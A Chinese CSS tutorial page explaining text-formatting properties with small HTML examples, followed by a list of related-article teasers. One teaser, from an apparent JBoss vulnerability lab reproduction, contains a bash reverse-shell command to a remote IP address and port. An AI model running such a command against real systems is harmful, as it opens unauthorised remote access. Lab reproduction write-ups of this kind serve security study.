漳州做网站含博大网/福州seo网站管理
通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等,CSS 中常用的文本属性如下所示:
- text-align:设置文本的水平对齐方式;
- text-decoration:设置文本的装饰;
- text-transform:设置文本中英文的大小写转换方式;
- text-indent:设置文本的缩进方式;
- line-height:设置行高;
- letter-spacing:设置字符间距;
- word-spacing:设置单词与单词之间的间距(对中文无效);
- text-shadow:设置文本阴影;
- vertical-align:设置文本的垂直对齐方式;
- white-space:设置文本中空白的处理方式;
- direction:设置文本方向。
1. text-align
text-align 属性用来设置元素中文本的水平对齐方式,属性的可选值如下:
值 | 描述 |
---|---|
left | 默认值,左对齐 |
right | 右对齐 |
center | 居中对齐 |
justify | 两端对齐 |
inherit | 从父元素继承 text-align 属性的值 |
【示例】使用 text-align 属性设置文本的水平对齐方式:
<!DOCTYPE html><html><head><style>p{border: 1px solid black; /*为了能更直观的体现出文本的对齐方式,这里给p标签设置一个边框*/}.text1 {text-align: left;}.text2 {text-align: right;}.text3 {text-align: center;}</style></head><body><p class="text1">左对齐</p><p class="text2">右对齐</p><p class="text3">居中对齐</p></body></html>
运行结果如下图所示:
图:text-align 属性演示
当 text-align 设置为 justify
时,将拉伸每一行文本(增加字符之间的间距),以使每行文本具有相同的宽度(最后一行除外),这种对齐方式通常用于出版物,例如杂志和报纸。需要特别注意的是,如果元素中的文本不足一行时,是无法实现两端对齐的(默认会以左对齐的效果显示)。只有当元素中的文本足够长,并且在元素中发生了自动换行时,才会将除最后一行以外的文本实现两端对齐。如下例所示:
<!DOCTYPE html><html><head><style>p{border: 1px solid black; /*为了能更直观的体现出文本的对齐方式,这里给p标签设置一个边框*/}.text {width: 125px;text-align: justify;}</style></head><body><p class="text">两端对齐、两端对齐</p></body></html>
运行结果如下图所示:
图:两端对齐演示
2. text-decoration
text-decoration 属性用于设置或删除文本的装饰,最常用的做法就是使用 text-decoration 属性来删除<a>
标签的默认下划线。当然了,使用 text-decoration 属性也可以在需要的地方为元素中的文本添加一些装饰,达到突出显示的效果。
text-decoration 属性的可选值如下:
值 | 描述 |
---|---|
none | 默认值,标准文本,没有额外装饰,可以用来删除已有的文本装饰 |
underline | 在文本下方添加一条下滑线 |
overline | 在文本上方添加一条上滑线 |
line-through | 在文本的中间定义一条横向贯穿文本的线(类似于删除线) |
blink | 定义闪烁的文本(目前主流浏览器不再支持) |
inherit | 从父元素继承 text-decoration 属性的值 |
【示例】使用 text-decoration 属性为文本添加装饰:
<!DOCTYPE html><html><head><style>.none {text-decoration: none;}.underline {text-decoration: underline;}.overline {text-decoration: overline;}.line-through {text-decoration: line-through;}</style></head><body><p class="none">无装饰文字</p><p class="underline">带下划线文字</p><p class="overline">带上划线文字</p><p class="line-through">带贯穿线文字</p></body></html>
运行结果如下图所示:
图:text-decoration 属性演示
3. text-transform
text-transform
属性用来控制文本中英文字母的大小写,通过该属性您可以在不修改原文的基础上,将文本中的英文统一更改为小写字母、大写字母或者首字母大写的形式。
text-transform 属性的可选值如下:
值 | 描述 |
---|---|
none | 默认值,以原文显示,对文本中的英文不做更改 |
capitalize | 将文本中的每个单词更改为以大写字母开头的形式 |
uppercase | 将文本中的英文字母全部更改为大写 |
lowercase | 将文本中的英文字母全部更改为小写 |
inherit | 从父元素继承 text-transform 属性的值 |
【示例】使用 text-transform 定义文本中英文的大小写:
<!DOCTYPE html><html><head><style>.none {text-transform: none;}.uppercase {text-transform: uppercase;}.lowercase {text-transform: lowercase;}.capitalize {text-transform: capitalize;}</style></head><body><p>原文: text-transform  <span class="none">转换后:text-transform</span></p><p>原文: text-transform  <span class="uppercase">转换后:text-transform</span></p><p>原文: TEXT-TRANSFROM  <span class="lowercase">转换后:text-transform</span></p><p>原文: text-transform  <span class="capitalize">转换后:text-transform</span></p></body></html>
运行结果如下图所示:
图:text-transform 属性演示
4. text-indent
text-indent 属性用来为元素中的文本添加首行缩进的效果,属性的可选值如下:
值 | 描述 |
---|---|
length | 以固定的值加单位的形式(例如 2em)定义缩进距离,默认值为 0 |
% | 以基于父元素宽度的百分比来定义缩进距离 |
inherit | 从父元素继承 text-indent 属性的值 |
提示:不论是使用具体的值还是使用百分比的形式,都可以设置为负值,但这么做可能会造成文本内容溢出元素区域。
【示例】使用 text-indent 为文本添加首行缩进效果:
<!DOCTYPE html><html><head><style>p {border: 1px solid #ccc;text-indent:2em;}</style></head><body><p>text-indent 属性用来为元素中的文本添加首行缩进的效果,至于是从左侧还是从右侧缩进则取决于 direction 属性定义的文本方向。</p></body></html>
运行结果如下图所示:
图:text-indent 属性演示
注意:文本是从左侧还是从右侧缩进取决于 direction 属性定义的文本方向。
5. line-height
line-height 属性用来设置文本的行高,属性的可选值如下:
值 | 描述 |
---|---|
normal | 默认值,使用默认的行高,不对行高进行额外设置 |
number | 以具体的数字设置行高,这个数字会与当前的字体大小相乘,并将得到的值设置为行高 |
length | 以数字加单位的形式设置固定的行高 |
% | 以百分比的形式设置基于当前字体尺寸百分比的行高 |
inherit | 从父元素继承 line-height 属性的值 |
【示例】使用 line-height 为文本设置行高:
<!DOCTYPE html><html><head><style>p.small {line-height: 0.8;}p.big {line-height: 200%;}</style></head><body><p>这是默认的标准行高<br>这是默认的标准行高<br>这是默认的标准行高<br></p><p class="small">使用数字定义一个较小的行高<br>使用数字定义一个较小的行高<br>使用数字定义一个较小的行高<br></p><p class="big">使用百分比的形式定义一个较大的行高<br>使用百分比的形式定义一个较大的行高<br>使用百分比的形式定义一个较大的行高<br></p></body></html>
运行结果如下图所示:
图:line-height 属性演示
6. letter-spacing
letter-spacing 属性用来设置字符之间的间距,属性的可选值如下:
值 | 描述 |
---|---|
normal | 默认值,表示字符之间没有额外的间距 |
length | 以数值加单位的形式设置字符之间的固定间距(允许使用负值) |
inherit | 从父元素继承 letter-spacing 属性的值 |
【示例】使用 letter-spacing 属性设置字符之间的间距:
<!DOCTYPE html><html><head><style>p {letter-spacing: 2px;}</style></head><body><p>letter-spacing 属性用来设置字符之间的间距<br>letter-spacing 属性用来设置字符之间的间距<br>letter-spacing 属性用来设置字符之间的间距<br></p></body></html>
运行结果如下图所示:
图:letter-spacing 属性演示
7. word-spacing
word-spacing 属性用来设置单词与单词之间的间距,但对中文无效,属性的可选值如下:
值 | 描述 |
---|---|
normal | 默认值,表示单词与单词之间没有额外的间距 |
length | 以数值加单位的形式设置单词与单词之间的固定间距(允许使用负值) |
inherit | 从父元素继承 word-spacing 属性的值 |
【示例】使用 word-spacing 属性设置字符之间的间距:
<!DOCTYPE html><html><head><style>p {word-spacing: 2em;}</style></head><body><p>word-spacing 属性用来设置单词与单词之间的间距,但对中文无效<br>word-spacing 属性用来设置单词与单词之间的间距,但对中文无效<br>word-spacing 属性用来设置单词与单词之间的间距,但对中文无效<br></p></body></html>
运行结果如下图所示:
图:word-spacing 属性演示
8. text-shadow
text-shadow 属性用来为文本添加阴影及模糊效果,属性的语法格式如下:
text-shadow: h-shadow v-shadow blur color;
语法说明如下:
- h-shadow:必填值,设置阴影的水平位置,允许为负值;
- v-shadow:必填值,设置阴影的垂直位置,允许为负值;
- blur:可选值,设置模糊的距离;
- color:可选值,设置阴影的颜色。
注意:text-shadow 属性可以设置一个或多个阴影效果,只需要将每组的值使用逗号,
分隔即可(类似于 background 属性的用法)。
【示例】使用 text-shadow 属性为文本设置阴影效果:
<!DOCTYPE html><html><head><style>p {text-shadow: 2px 15px red,0px -15px 5px blue;}</style></head><body><p>text-shadow 属性可以为文本添加阴影和模糊效果</p></body></html>
运行结果如下图所示:
图:text-shadow 属性演示
9. vertical-align
vertical-align 属性用来定义元素内文本的垂直对齐方式,属性的可选值如下:
值 | 描述 |
---|---|
baseline | 默认值,将元素的基线与父元素的基线对齐 |
sub | 下标对齐,将元素的基线相对于父元素的基线降低 |
super | 上标对齐,将元素的基线相对于父元素的基线升高 |
top | 顶部对齐,将元素行内框的顶端与行框的顶端对齐 |
text-top | 文本顶部对齐,把元素的顶端与父元素字体的顶端对齐 |
middle | 居中对齐,通常使用在图片上,将图片垂直方向的中线与文本的中线(文字元素行内框的中线)对齐 |
bottom | 底部对齐,将元素行内框的顶端与行框的底端对齐 |
text-bottom | 文本底部对齐,是将元素行内框的底端与行框的底线对齐 |
length | 以数字加单位的形式设置元素基线距离父元素基线的距离(可以为负值) |
% | 使用 “line-height” 属性的百分比值来排列此元素,允许使用负值 |
inherit | 从父元素继承 vertical-align 属性的值 |
上表中提到了基线、底线、顶线、中线等概念,它们到底指什么呢?
- 顶线:中文汉字的上边沿;
- 中线:贯穿小写英文字母 x 中间的线;
- 基线:小写英文字母 x 的下边沿;
- 底线:中文汉字的下边沿;
- 内容区:指底线与顶线包裹的区域;
- 行高:包括内容区与以内容区为基础对称拓展的空白区域,我们称之为行高,也可以认为是相邻文本行基线间的距离;
- 行距:指相邻文本行间上一个文本行底线和下一文本行顶线之间的距离;
- 行内框:是一个浏览器渲染模型中的概念,无法显示出来,但是它又确实存在,它的高度与行高相同;
- 行框:同行内框类似的概念,行框是指本行的一个虚拟的矩形框,也是浏览器渲染模式中的一个概念。行框高度等于本行内所有元素中行内框最大的值(以行高值最大的行内框为基准,其他行内框采用自己的对齐方式向基准对齐,最终计算行框的高度)。
图:基线、底线、顶线、中线、内容区、行高、行距、行内框、行框示意图
【示例】使用 vertical-align 属性为元素设置垂直对齐方式:
<!DOCTYPE html><html><head><style>img.btn {vertical-align: super;}img.top {vertical-align: text-top;}</style></head><body><p>vertical-align <img class="btn" src="./eg_cute.gif">属性用来定义元素内文本的垂直对齐方式</p><p>vertical-align <img class="top" src="./eg_cute.gif">属性用来定义元素内文本的垂直对齐方式</p></body></html>
运行结果如下图所示:
图:vertical-align 属性演示
10. white-space
white-space 属性用来设置如何处理元素内的空白,属性的可选值如下:
值 | 描述 |
---|---|
normal | 默认值,忽略文本中的空白 |
pre | 保留文本中的空白,类似于<pre> 标签的效果 |
nowrap | 文本会在一行中显示,不会自动换行,直到遇到<br> 标签为止 |
pre-wrap | 保留文本中的空白,但是正常地进行换行 |
pre-line | 合并文本中的空白,但是保留换行符 |
inherit | 从父元素继承 white-space 属性的值 |
【示例】使用 white-space 属性来处理元素内的空白:
<!DOCTYPE html><html><head><style>p {white-space: nowrap;}</style></head><body><p>white-space 属性用来设置如何处理元素内的空白 white-space 属性用来设置如何处理元素内的空白</p></body></html>
运行结果如下图所示:
图:white-space 属性演示
11. direction
direction 属性用来设置文本的方向,属性的可选值如下:
值 | 描述 |
---|---|
ltr | 默认值,文本按从左到右的方向输出 |
rtl | 文本按从右到左的方向输出 |
inherit | 从父元素继承 direction 属性的值 |
【示例】使用 direction 属性来设置文本的方向:
<!DOCTYPE html><html><head><style>.ltr {direction: ltr;}.rtl {direction: rtl;}</style></head><body><p class="ltr">direction 属性用来设置文本的方向</p><p class="rtl">direction 属性用来设置文本的方向</p></body></html>
运行结果如下图所示:
图:direction 属性演示
原文地址CSS文本格式化
相关文章:

CSS文本格式化
通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等,CSS 中常用的文本属性如下所示: text-align:设置文本的水平对齐方式;text-decoration:设置文本的装饰;te…...

python的 __name__和__doc__属性
__name__属性 __name__属性 用于判断当前模块是不是程序入口,如果当前程序正在使用,__name__的值为__main__。 在编写程序时,通常需要给每个模块添加条件语句,用于单独测试该模块的功能。 每个模块都有一个名称,当一…...

Go语言中的Mutex实现探讨
解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在并发编程中,互斥锁(Mutex)是一个重要的工具,它帮助我们控制多个协程对共享资源的访问,从而防止数据竞争和不一致性。本文将深入探讨Go语言中Mutex的实现历程和使用方式,同时分享在处理并发问题时的思路与…...

第五届计算机科学与管理科技国际学术会议(ICCSMT 2024)
梁哲,同济大学长聘特聘教授,国家杰青、首届国家杰青延续项目获得者、上海市曙光学者、上海市优秀学术带头人。本科毕业于新加坡国立大计算机工程系、硕士毕业于新加坡国立大学工业与系统工程系、博士毕业于美国新泽西州立大学工业工程系。理论研究主要集…...

【machine learning-13-线性回归的向量化】
向量化 向量化简洁并行计算 向量化 线性回归的向量化表示如下,其中w 和 x 都分别加了箭头表示这是个向量,后续不加也可以表示为向量,w和x点乘加上b,就构成了多元线性回归的表达方式,如下: 那么究竟为什么…...

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧
日期:2024年9月9日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对…...

MATLAB绘图基础9:多变量图形绘制
参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素: 横轴( X {\rm X} X轴):表示数据集中的一个变量,…...

JBOSS中间件漏洞复现
CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...

每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵
《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump,如下图: 比起最简单的电荷泵,主要好处是UP和DN开关离输出节点较远,因此一定程度…...

低代码开发平台:未来五大发展趋势预测
在数字化转型的浪潮中,低代码开发平台正迅速崛起,成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长,低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...

国内AI大模型,这篇文章说透了
探索国内顶尖AI企业及其创新产品。 人工智能(AI)的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现,不断拓宽着人类智慧的边界。 国内AI发展迅猛,不仅在理论研究上…...

3.4 爬虫实战-爬去智联招聘职位信息
课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...

Java 之注解详解
Java 注解(Annotation)自 Java 5 版本引入,为代码提供了强大的元数据支持。它们如同代码中的标记,能够被编译器、工具和运行时环境识别,赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解:…...

计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)
往期热门项目回顾: 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...

【Spring Cloud】Spring Cloud 概述
Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...

猫头虎带你解决:error Error: certificate has expired
🐯猫头虎带你解决:error Error: certificate has expired 💥 今天有粉丝问猫哥:“🐯猫头虎,我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误:Error: certificate has expired。你能帮忙解…...

盘点2024年4款高效率的语音转文字工具。
语音转换文字软件真的是一种提高效率的神器,我在工作中常常因为手动记录太慢而选择录音。事后在形成记录,但效率比较低。自从知道有直接转换的工具之后,我有再多的录音都不怕了。如果大家也有跟我一样的工作时,可以试试使用这些语…...

记录Mac编译Android源码踩过的坑
学习Android源码,如果电脑配置还不错,最好还是下载一套源码,经过编译后导入到Android Studio中来学习,这样会更加的直观,代码之间的跳转查看会更加方便。因此,笔者决定下载并编译一套源码,以利于…...

C++ 数据结构算法细节相关
细节 队列 这段代码实现的是二叉树的层序遍历,也就是按照树的层次,一层一层地遍历节点。下面我会为你详细解释这段代码。 queue <TreeNode*> q; 这是一个队列,队列中存放的是指向TreeNode的指针。队列(queue)是…...

【HTML5】html5开篇基础(1)
1.❤️❤️前言~🥳🎉🎉🎉 Hello, Hello~ 亲爱的朋友们👋👋,这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章,请别吝啬你的点赞❤️❤️和收藏📖📖。如果你对我的…...

C#自定义曲线绘图面板
一、实现功能 1、显示面板绘制。 2、拖动面板,X轴、Y轴都可以拖动。 3、显示面板缩放,放大或者缩小。 4、鼠标在面板中对应的XY轴数值。 5、自动生成的数据数组,曲线显示。 6、鼠标是否在曲线上检测。 二、界面 拖动面板 鼠标在曲线上…...

Java后端面试题+下一篇答案+实况场景题
uu们大家好!市面上面试题很多,这边汇总并更新一下java后端面试的题目,助大家早日斩下心仪的offer!!(下次跟新场景题...等我多碰几次壁...哈哈哈哈哈) 这边放题目,下一篇跟新所有另面…...

完美解决vant浮动气泡+弹出菜单
使用框架: vue3,vant4 项目需求: 需要有一个浮动气泡,点击弹出导航菜单 遇到的问题: 1. 使用van-floating-bubble包裹van-popover,但点击后只会重复显示不能隐藏 2. popover位置固定,不能根据…...

SpringSecurity -- 入门使用
文章目录 什么是 SpringSesurity ?细节使用方法 什么是 SpringSesurity ? 在我们的开发中,安全还是有些必要的 用 拦截器 和 过滤器 写代码还是比较麻烦。 SpringSecurity 是 SpringBoot 的底层安全默认选型。一般我们需要认证和授权…...

C语言习题~day33
1.以下程序运行时,若输入1abcedf2df输出结果是() #include <stdio.h> int main() { char a 0, ch; while ((ch getchar()) ! \n) { if (a % 2 ! 0 && (ch > a && ch < z)) ch ch - a A; a; putchar(ch); }…...

作业报告┭┮﹏┭┮(Android反调试)
一:Android反调试 主要是用来防止IDA进行附加的,主要的方法思路就是,判断自身是否有父进程,判断是否端口被监听,然后通过调用so文件中的线程进行监视,这个线程开启一般JNI_OnLoad中进行开启的。但是这个是…...

在 Delphi BSD11中安装 DCU 格式的第三方组件库
在 Delphi BSD 11 中安装 DCU 格式的第三方组件库可以按照以下步骤进行: 打开 Delphi:启动 Delphi 开发环境。 选择安装组件: 在菜单栏中,选择 Component -> Install Component。 选择 DCU 文件: 在弹出的对话框中…...

综合题第二题(路由器的配置)
题目 如何计算子网掩码 第一类 我们可以观察到上图的IP地址后面有“/26”、“30”。我们都知道子网掩码是由多个连续“1”和多个连续“0”组成的,“、26”表示子网掩码的二进制表达中有26个1。 例如:156.95.9.128/26 1111 1111.1111 1111.1111 1111.1…...

人工智能概览
目录 什么是人工智能 人工智能的历史与发展 人工智能发展时间轴示意图: 人工智能的主要分支 机器学习与深度学习在AI中的地位 什么是人工智能 人工智能(Artificial Intelligence, AI)是指由人制造出来的具有一定智能的系统,能够理…...

[vulnhub] Prime 1
https://www.vulnhub.com/entry/prime-1,358/ 主机发现端口扫描 探测存活主机,137是靶机 nmap -sP 192.168.75.0/24 // Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 16:25 CST Nmap scan report for 192.168.75.1 Host is up (…...